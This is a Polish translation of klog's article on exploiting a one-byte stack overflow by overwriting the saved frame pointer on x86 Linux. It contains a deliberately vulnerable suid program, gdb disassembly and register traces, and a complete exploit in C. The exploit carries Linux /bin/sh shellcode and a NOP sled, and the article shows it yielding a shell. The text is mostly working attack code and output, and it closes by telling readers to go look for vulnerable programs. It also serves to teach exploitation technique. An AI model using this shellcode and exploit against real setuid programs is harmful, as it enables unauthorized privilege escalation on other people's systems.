XXXXXXXXXXXXXXXXXXXXXXXXXXXX Nadpisywanie wskaznika ramki XXXXXXXXXXXXXXXXXXXXXXXXXXXX by klog Tlumaczenie: MixMan Wprowadzenie Bufory mozna przepelniac, a modyfikujac krytyczne dane zawarte w przestrzeni adresowej procesu mozemy zmienic przebieg jego wykonywania. To nic nowego. Ten artykul nie wyjasnia problemu przepelnienia bufora, ani tez nie tlumaczy zasad jego dzialania. Stara sie on tylko pokazac iz jest mozliwe wykorzystanie tego typu bledu nawet w najgorszych warunkach, jak na przyklad wtedy kiedy bufor moze zostac przepelniony tylko o jeden bajt. Istnieje wiele innych technik ktore maja za zadanie wykorzystac tego typu bledy nawet w najbardziej wrogim srodowisku, jednak my zajmiemy sie tylko ta jedna. ----[ Cel naszego ataku Napiszmy pseudo-podatny program suid, ktory nazwiemy "suid". Jest on napisany tak ze tylko jeden bajt jest przepelniany. ipdev:~/tests$ cat > suid.c #include func(char *sm) { char buffer[256]; int i; for(i=0;i<=256;i++) buffer[i]=sm[i]; } main(int argc, char *argv[]) { if (argc < 2) { printf("missing args\n"); exit(-1); } func(argv[1]); } ^D ipdev:~/tests$ gcc suid.c -o suid ipdev:~/tests$ Jak widzicie, nie mamy duzo miejsca aby wykorzystac ten program. Prawde mowiac, przepelnienie powodowane jest tylko przez jeden bajt. Bedziemy musieli sprytnie uzyc tego bajtu. Zanim zaczniemy cos robic spojrzmy co tak naprawde przepelnia ten jeden jedyny bajt (pewnie juz wszyscy wiecie, ale do diabla z tym, kogo to obchodzi ). Dezasemblujmy stos tego programu w momencie przepelnienia uzywajac do tego gdb. ipdev:~/tests$ gdb ./suid ... (gdb) disassemble func Dump of assembler code for function func: 0x8048134 : pushl %ebp 0x8048135 : movl %esp,%ebp 0x8048137 : subl $0x104,%esp 0x804813d : nop 0x804813e : movl $0x0,0xfffffefc(%ebp) 0x8048148 : cmpl $0x100,0xfffffefc(%ebp) 0x8048152 : jle 0x8048158 0x8048154 : jmp 0x804817c 0x8048156 : leal (%esi),%esi 0x8048158 : leal 0xffffff00(%ebp),%edx 0x804815e : movl %edx,%eax 0x8048160 : addl 0xfffffefc(%ebp),%eax 0x8048166 : movl 0x8(%ebp),%edx 0x8048169 : addl 0xfffffefc(%ebp),%edx 0x804816f : movb (%edx),%cl 0x8048171 : movb %cl,(%eax) 0x8048173 : incl 0xfffffefc(%ebp) 0x8048179 : jmp 0x8048148 0x804817b : nop 0x804817c : movl %ebp,%esp 0x804817e : popl %ebp 0x804817f : ret End of assembler dump. (gdb) Jak wszyscy wiemy, procesor najpierw polozy na stos %eip, nastapi to w momencie wykonania instrukcji CALL. Nastepnie, jak widac pod adresem *0x8048134, nasz maly program kladzie na stos %ebp. Wkoncu, tworzy on nowa ramke stosu odejmujac od %esp 0x104. To znaczy ze nasze lokalne zmienne beda miec rozmiar 0x104 bajtow (0x100 dla ciagu, 0x004 dla liczby calkowitej). Pamietajcie ze te zmienne sa wyrownywane do granicy 4 bajtow, tak wiec 255-bajtowy bufor zajmnie tyle samo miejsca co 256 bajtowy bufor. Teraz mozemy stwierdzic jak wygladal stos przed przepelnieniem: zapisany_eip zapisany_ebp char buffer[255] char buffer[254] ... char buffer[000] int i To oznacza ze bajt przepelniajacy bufor nadpisze wskaznik ramki, ktory zostal polozny na stos przy rozpoczeciu funkcji func(). Ale jak mozna wykorzystac ten bajt do tego by zmienic przebieg programu ? Popatrzmy co sie dzieje z %ebp. Juz wiemy ze zostanie on odtworzony na koncu funkcji func(), jak widac pod adresem *0x804817e. Ale co dalej ? (gdb) disassemble main Dump of assembler code for function main: 0x8048180
: pushl %ebp 0x8048181 : movl %esp,%ebp 0x8048183 : cmpl $0x1,0x8(%ebp) 0x8048187 : jg 0x80481a0 0x8048189 : pushl $0x8058ad8 0x804818e : call 0x80481b8 0x8048193 : addl $0x4,%esp 0x8048196 : pushl $0xffffffff 0x8048198 : call 0x804d598 0x804819d : addl $0x4,%esp 0x80481a0 : movl 0xc(%ebp),%eax 0x80481a3 : addl $0x4,%eax 0x80481a6 : movl (%eax),%edx 0x80481a8 : pushl %edx 0x80481a9 : call 0x8048134 0x80481ae : addl $0x4,%esp 0x80481b1 : movl %ebp,%esp 0x80481b3 : popl %ebp 0x80481b4 : ret 0x80481b5 : nop 0x80481b6 : nop 0x80481b7 : nop End of assembler dump. (gdb) Wspaniale ! Po tym jak func() zostanie wywolana, na koncu main(), %ebp zostanie odtworzony do %esp, jak widac pod *0x80481b1. To oznacza ze mozemy ustawic %esp na dowolna wartosc. Ale pamietajcie, ta dowolna wartosc nie jest tak *naprawde* dowolna, skoro mozemy zmodyfikowac tylko ostatni bajt %ebp. Sprawdzmy to. (gdb) disassemble main Dump of assembler code for function main: 0x8048180
: pushl %ebp 0x8048181 : movl %esp,%ebp 0x8048183 : cmpl $0x1,0x8(%ebp) 0x8048187 : jg 0x80481a0 0x8048189 : pushl $0x8058ad8 0x804818e : call 0x80481b8 0x8048193 : addl $0x4,%esp 0x8048196 : pushl $0xffffffff 0x8048198 : call 0x804d598 0x804819d : addl $0x4,%esp 0x80481a0 : movl 0xc(%ebp),%eax 0x80481a3 : addl $0x4,%eax 0x80481a6 : movl (%eax),%edx 0x80481a8 : pushl %edx 0x80481a9 : call 0x8048134 0x80481ae : addl $0x4,%esp 0x80481b1 : movl %ebp,%esp 0x80481b3 : popl %ebp 0x80481b4 : ret 0x80481b5 : nop 0x80481b6 : nop 0x80481b7 : nop End of assembler dump. (gdb) break *0x80481b4 Breakpoint 2 at 0x80481b4 (gdb) run `overflow 257` Starting program: /home/klog/tests/suid `overflow 257` Breakpoint 2, 0x80481b4 in main () (gdb) info register esp esp 0xbffffd45 0xbffffd45 (gdb) Wyglada na to ze mielismy racje. Po tym jak przepelnilismy bufor jednym 'A' (0x41) %ebp jest kopiowany do %esp, ktory jest zwiekszany o 4 (skoro %ebp jest zdejmowany ze stosu tuz przed RET). To daje nam 0xbffffd41 + 0x4 = 0xbffffd45. ----[ Przygotowania Co daje nam zmiana wskaznika stosu ? Nie mozemy zmienic wartosci zapisanego %eip bezposrednio jak w kazdym, zwyklym przepelnieniu bufora, ale mozemy zmusic procesor do tego by myslal ze jest on gdzies indziej. Kiedy procesor powraca z procedury, zdejmuje tylko pierwsze slowo ze stosu, sadzac iz jest to zapisany %eip. Ale jesli zmienimy %esp, mozemy zmusic procesor do tego by zdjal dowolne slowo ze stosu, tak jakby byl to zapisany %eip, i w ten sposob mozemy zmienic przebieg wykonywania programu. Zaprojektujmy nasz przyszly bufor przepelnienia. [nopy][shellcode][&shellcode][%bajt_zmieniajacy_%ebp] Aby to zrobic, najpierw powinnismy ustalic o jaka wartosc chcemy zmienic %ebp (a co za tym idzie %esp). Popatrzmy jak bedzie wygladal stos kiedy nastapi przepelnienie: zapisany_eip zapisany_ebp (zmieniony o 1 bajt) &shellcode \ shellcode | char buffer nopy / int i Tutaj chcemy by %esp wskazywal na &shellcode, tak ze adres kodu zostanie zdjety do %eip kiedy procesor powroci z main(). Teraz kiedy wiemy dokladnie jak to wykorzystamy musimy wydobyc informacje z procesu, kiedy ten bedzie dzialal w kontekscie przyszlego przepelnienia. Na te informacje skladaja sie adres przepelnianego bufora i adres wskaznika do naszego kodu (&shellcode). Odpalmy teraz program tak jakby mielismy zamiar przepelnic go 257-bajtowym ciagiem. Aby to zrobic musimy napisac falszywy exploit ktory bedzie symulowal warunki w jakich nastapi przepelnienie. (gdb) q ipdev:~/tests$ cat > fake_exp.c #include #include main() { int i; char buffer[1024]; bzero(&buffer, 1024); for (i=0;i<=256;i++) { buffer[i] = 'A'; } execl("./suid", "suid", buffer, NULL); } ^D ipdev:~/tests$ gcc fake_exp.c -o fake_exp ipdev:~/tests$ gdb --exec=fake_exp --symbols=suid ... (gdb) run Starting program: /home/klog/tests/exp2 Program received signal SIGTRAP, Trace/breakpoint trap. 0x8048090 in ___crt_dummy__ () (gdb) disassemble func Dump of assembler code for function func: 0x8048134 : pushl %ebp 0x8048135 : movl %esp,%ebp 0x8048137 : subl $0x104,%esp 0x804813d : nop 0x804813e : movl $0x0,0xfffffefc(%ebp) 0x8048148 : cmpl $0x100,0xfffffefc(%ebp) 0x8048152 : jle 0x8048158 0x8048154 : jmp 0x804817c 0x8048156 : leal (%esi),%esi 0x8048158 : leal 0xffffff00(%ebp),%edx 0x804815e : movl %edx,%eax 0x8048160 : addl 0xfffffefc(%ebp),%eax 0x8048166 : movl 0x8(%ebp),%edx 0x8048169 : addl 0xfffffefc(%ebp),%edx 0x804816f : movb (%edx),%cl 0x8048171 : movb %cl,(%eax) 0x8048173 : incl 0xfffffefc(%ebp) 0x8048179 : jmp 0x8048148 0x804817b : nop 0x804817c : movl %ebp,%esp 0x804817e : popl %ebp 0x804817f : ret End of assembler dump. (gdb) break *0x804813d Breakpoint 1 at 0x804813d (gdb) c Continuing. Breakpoint 1, 0x804813d in func () (gdb) info register esp esp 0xbffffc60 0xbffffc60 (gdb) Bingo. Mamy teraz wartosc %esp tuz po tym jak zostala ustalona nowa ramka stosu. Dzieki tej wartosci mozemy odgadnac iz nasz bufor bedzie sie znajdowal pod adresem 0xbffffc60 + 0x04 (rozmiar 'int i') = 0xbffffc64, i ze wskaznik do naszego kodu bedzie umieszczony pod adresem 0xbffffc64 + 0x100 (rozmiar 'char buffer[256]') - 0x04 (rozmiar naszego wskaznika) = 0xbffffd60. ----[ Czas zaatakowac Majac te wartosci mozemy juz napisac pelny exploit, wlacznie z shellcode'em, wskaznikiem do kodu i nadpisujacym bajtem. Wartoscia ktorej musimy uzyc aby nadpisac ostatni bajt %ebp bedzie 0x60 - 0x04 = 0x5c skoro, jak pamietacie, zdejmujemy %ebp tuz przed powrotem z main(). Te 4 bajty zkompensuja usuniety ze stosu %ebp. Jesli chodzi o wskaznik do naszego kodu, tak naprawde nie musi on wskazywac do dokladnej lokalizacji. Jedyne co musimy zrobic to zmusic procesor by skoczyl gdzies w srodek nop'ow znajdujacych sie pomiedzy poczatkiem przepelnianego bufora (0xbffffc64) a naszym kodem (0xbffffc64 - sizeof(shellcode)), jak w normalnych przepelnieniach bufora. Uzyjmy 0xbffffc74. ipdev:~/tests$ cat > exp.c #include #include char sc_linux[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07" "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12" "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8" "\xd7\xff\xff\xff/bin/sh"; main() { int i, j; char buffer[1024]; bzero(&buffer, 1024); for (i=0;i<=(252-sizeof(sc_linux));i++) { buffer[i] = 0x90; } for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++) { buffer[i] = sc_linux[j]; } buffer[i++] = 0x74; /* buffer[i++] = 0xfc; * Address of our buffer buffer[i++] = 0xff; * buffer[i++] = 0xbf; */ buffer[i++] = 0x5c; execl("./suid", "suid", buffer, NULL); } ^D ipdev:~/tests$ gcc exp.c -o exp ipdev:~/tests$ ./exp bash$ Wspaniale ! Teraz popatrzmy dokladnie na to co sie stalo. Mimo iz zbudowalismy nasz exploit na bazie teorii jaka wlasnie przedstawilem w tym dokumencie, byloby milo popatrzec jak wszystko zaczyna dzialac. Mozesz juz teraz przestac czytac jesli zrozumiales wszystko co bylo do tej pory tlumaczone. Poszukaj podatnych programow. ipdev:~/tests$ gdb --exec=exp --symbols=suid ... (gdb) run Starting program: /home/klog/tests/exp Program received signal SIGTRAP, Trace/breakpoint trap. 0x8048090 in ___crt_dummy__ () (gdb) Wstawmy najpierw pare punktow przerwan aby moc dokladnie obserwowac jak nasz exploit wykorzystuje podatny program na naszych oczach. Powinnismy sledzic wartosc nadpisanego wskaznika ramki az do momentu kiedy nasz kod zacznie byc wykonywany. (gdb) disassemble func Dump of assembler code for function func: 0x8048134 : pushl %ebp 0x8048135 : movl %esp,%ebp 0x8048137 : subl $0x104,%esp 0x804813d : nop 0x804813e : movl $0x0,0xfffffefc(%ebp) 0x8048148 : cmpl $0x100,0xfffffefc(%ebp) 0x8048152 : jle 0x8048158 0x8048154 : jmp 0x804817c 0x8048156 : leal (%esi),%esi 0x8048158 : leal 0xffffff00(%ebp),%edx 0x804815e : movl %edx,%eax 0x8048160 : addl 0xfffffefc(%ebp),%eax 0x8048166 : movl 0x8(%ebp),%edx 0x8048169 : addl 0xfffffefc(%ebp),%edx 0x804816f : movb (%edx),%cl 0x8048171 : movb %cl,(%eax) 0x8048173 : incl 0xfffffefc(%ebp) 0x8048179 : jmp 0x8048148 0x804817b : nop 0x804817c : movl %ebp,%esp 0x804817e : popl %ebp 0x804817f : ret End of assembler dump. (gdb) break *0x804817e Breakpoint 1 at 0x804817e (gdb) break *0x804817f Breakpoint 2 at 0x804817f (gdb) Te pierwsze punkty przerwania pozwola nam monitorowac %ebp przed i po zdjeciu ze stosu. Wartosci %ebp beda odpowiadac wartosci oryginalnej i wartosci nadpisanej. (gdb) disassemble main Dump of assembler code for function main: 0x8048180
: pushl %ebp 0x8048181 : movl %esp,%ebp 0x8048183 : cmpl $0x1,0x8(%ebp) 0x8048187 : jg 0x80481a0 0x8048189 : pushl $0x8058ad8 0x804818e : call 0x80481b8 <_IO_printf> 0x8048193 : addl $0x4,%esp 0x8048196 : pushl $0xffffffff 0x8048198 : call 0x804d598 0x804819d : addl $0x4,%esp 0x80481a0 : movl 0xc(%ebp),%eax 0x80481a3 : addl $0x4,%eax 0x80481a6 : movl (%eax),%edx 0x80481a8 : pushl %edx 0x80481a9 : call 0x8048134 0x80481ae : addl $0x4,%esp 0x80481b1 : movl %ebp,%esp 0x80481b3 : popl %ebp 0x80481b4 : ret 0x80481b5 : nop 0x80481b6 : nop 0x80481b7 : nop End of assembler dump. (gdb) break *0x80481b3 Breakpoint 3 at 0x80481b3 (gdb) break *0x80481b4 Breakpoint 4 at 0x80481b4 (gdb) Tutaj chcemy monitorowac transfer naszego nadpisanego %ebp do %esp, a takze zawartosc %esp az do momentu kiedy funkcja main() powroci. Odpalmy program. (gdb) c Continuing. Breakpoint 1, 0x804817e in func () (gdb) info reg ebp ebp 0xbffffd64 0xbffffd64 (gdb) c Continuing. Breakpoint 2, 0x804817f in func () (gdb) info reg ebp ebp 0xbffffd5c 0xbffffd5c (gdb) c Continuing. Breakpoint 3, 0x80481b3 in main () (gdb) info reg esp esp 0xbffffd5c 0xbffffd5c (gdb) c Continuing. Breakpoint 4, 0x80481b4 in main () (gdb) info reg esp esp 0xbffffd60 0xbffffd60 (gdb) Jak mozemy zauwazyc, widac tutaj oryginalny %ebp. Po zdjeciu ze stosu widzimy iz jest on zastepowany tym nadpisanym przez jeden bajt 0x5c. Potem %ebp jest kopiowany do %esp i wreszcie po tym jak %ebp zostaje ponownie zdjety ze stosu, %esp jest zwiekszany o 4 bajty. Daje nam to koncowy wynik 0xbffffd60. Popatrzmy co dzieje sie dalej. (gdb) x 0xbffffd60 0xbffffd60 <__collate_table+3086619092>: 0xbffffc74 (gdb) x/10 0xbffffc74 0xbffffc74 <__collate_table+3086618856>: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc84 <__collate_table+3086618872>: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc94 <__collate_table+3086618888>: 0x90909090 0x90909090 (gdb) Widzimy ze 0xbffffd60 to aktualny adres naszego wskaznika ktory wskazuje do srodka nop'ow tuz przed shellcod'em. Kiedy procesor powroci z main(), zdejmie ze stosu do %eip wlasnie ten wskaznik, i skoczy dokladnie pod adres 0xbffffc74. Wtedy zostanie wykonany nasz kod. (gdb) c Continuing. Program received signal SIGTRAP, Trace/breakpoint trap. 0x40000990 in ?? () (gdb) c Continuing. bash$ ----[ Wnioski Mimo ze ta technika wyglada bardzo ladnie, niektore problemy pozostaja nierozwiazane. Zmienianie biegu programu nadpisujac tylko jeden bajt jest napewno mozliwe, ale pod jakimi warunkami ? Faktycznie, odtworzenie srodowiska w ktorym bedzie dzialal exploit jest juz dosyc trudne lokalnie, nie mowiac juz o zdalnym hoscie. Wymagaloby to od nas zgadywania dokladnego rozmiaru stosu procesu ktory jest celem. Do tego dochodzi zalozenie iz nasz bufor musi sie znajdowac tuz obok zapisanego wskaznika ramki, co oznacza iz musi byc pierwsza zmienna zadeklarowana w funkcji. Nie musze juz chyba mowic iz wyrownywanie takze musi byc brane pod uwage. A co z atakowaniem architektur big endian ? Nie mozemy sobie pozwolic na nadpisywanie tylko wazniejszego bajtu wskaznika ramki, chyba ze mamy mozliwosc dotarcia do tego zmienionego adresu... Mozemy wyciagnac wnioski z tej prawie niemozliwej do wykorzystania sytuacji. Mimo iz bylbym zdziwiony slyszac iz komus udalo sie przystosowac ta technike do dzialajacego przykladu, to napewno udowadnia nam to ze nie ma czegos takiego jak male czy duze przepelnienia, ani tez ze nie ma czegos takiego jak male czy duze bledy. Kazdy blad mozna wykorzystac, wszystko co musisz wiedziec to jak. Podziekowania dla: binf, rfp, halflife, route Podziekowania dla ( MixMan ): Britnej Spirs za to ze tak ladnie spiewa, Micro$oft'u za to ze pisze takie wspaniale programy i mojego profesora Angielskiego za to ze zamiast uczyc mnie tego pokichanego jezyka, opowiada mi o tym co znalazl w necie (glownie pornosy) ;)